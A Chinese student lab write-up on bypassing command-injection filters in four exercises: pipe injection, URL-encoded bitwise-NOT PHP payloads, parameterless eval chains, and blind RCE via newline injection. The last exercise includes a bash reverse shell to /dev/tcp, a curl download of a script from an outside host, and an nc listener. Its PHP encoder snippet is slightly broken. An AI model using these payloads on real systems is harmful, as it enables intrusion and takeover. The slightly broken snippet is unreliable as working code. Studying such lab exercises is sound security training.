班级作业笔记报告0x04

命令执行漏洞

作业1:

命令执行与代码执行字符过滤绕过

十分经典的题

使用单或双管道符绕过即可|或者||

获取flag

payload:127.0.0.1 | cat /flag.txt

作业2:

长度绕过

文件权限环境有问题,在靶机上使用下方命令即可正常打靶了

chmod 777 index.php /flag.txt

使用GET传参,参数名为code,长度不能超过35,正则过滤字母、数字、下划线和美元符

利用php的URL编码取反转化成二进制的URL编码的乱码传入

字符转编码代码:

<?php

//str1参数为要编码的字符串,phpinfo字符串只是一个示例,根据PHP版本使用不同的构造方式

$str1="phpinfo";

str2="\~".urlencode(str);

echo $str2;

?>

执行尝试执行命令,system(ls /);,需要对system和ls /进行编码,编码后为%93%8C%DF%D0

获取flag

system ==>%8C%86%8C%8B%9A%92

cat /f* ==>%9C%9E%8B%DF%D0%99%D5

组合一下system(cat /*); ==>(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

作业3:

无参数绕过

靶机和攻击机不在同一网段内,攻击机无法展开攻击,只能在防守机上展开攻击

GET请求参数code,递归匹配函数()的结构,函数()结构替换为空,括号内参数和外部的分号;合并成一体,继续下一个if,正则匹配不区分大小写匹配test字符串,只要不包含test字符串就可以执行eval函数

尝试请求phpinfo();函数,请求成功

这个步骤出flag,因为是GET传参,有些参数要进行URL编码

curl http://127.0.0.1/index.php?code=readfile(end(scandir(pos(localeconv()))))

#正则匹配test字符串严格,只能另寻他路,目录扫描,扫描出robots.txt文件

curl http://127.0.0.1/robots.txt

#传入在index.php看到的代码,test传参输入正确值获取flag

curl http://127.0.0.1/zflag.php?test=@@@####!!!!

作业4:

无回显绕过

访问,有PingIP的功能,过滤了很多字符

"$", "{", "}", "\`", ";", "\&", "\|", "(", ")", "\\"", "'", "\~", "!", "@", "#", "%", "\^", "\*", "\[", "", "\\", ":", "-", "_"];

最终%0a可以使用

%0awhoami可以执行,但是重定向无法到达/var/www/html目录下,只能/tmp目录下执行成功

由于无VPS,所以拿百度大哥当VPS,也成功了,说明可以下载文件到/tmp目录下

由于无VPS所以只能纸上谈兵,无回显就这样打了

#反弹shell脚本,在VPS下写入一下内容,命名为1.sh

bash -i >& /dev/tcp/172.17.0.3/4444 0>&1

#下载重定向到/tmp/1.sh文件中

127.0.0.1%0acurl VPS_IP/1.sh > /tmp/1.sh

#赋予执行能力

127.0.0.1%0achmod 777 /tmp/1.sh

#本地开启监听

nc -l 4444

#靶机执行反弹shell脚本命令

127.0.0.1%0ash /tmp/1.sh

#本机任意执行命令

id

whoami

ls /

cat /f*

个人评价:

RCE一个很有意思的漏洞,非常的珍贵,黑客的最爱,打点玩家心中的希望。这几题都很有难度,而且靶场的环境有经常出问题。无回显RCE绕过这个类型,也经常在面试上会被问到,也是一个很重要的环境实操。

相关推荐
RainCity1 天前
Java Swing 自定义组件库分享(十二)
java·笔记·后端
Flynt3 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab8 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
LinXunFeng9 天前
Obsidian - 使用 Share Note 分享笔记并自部署
前端·笔记·github
两个人的幸福9 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
Aphasia31111 天前
VPN 与内网穿透
安全
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820712 天前
PHP 扩展——从入门到理解
php
Mr_愚人派12 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全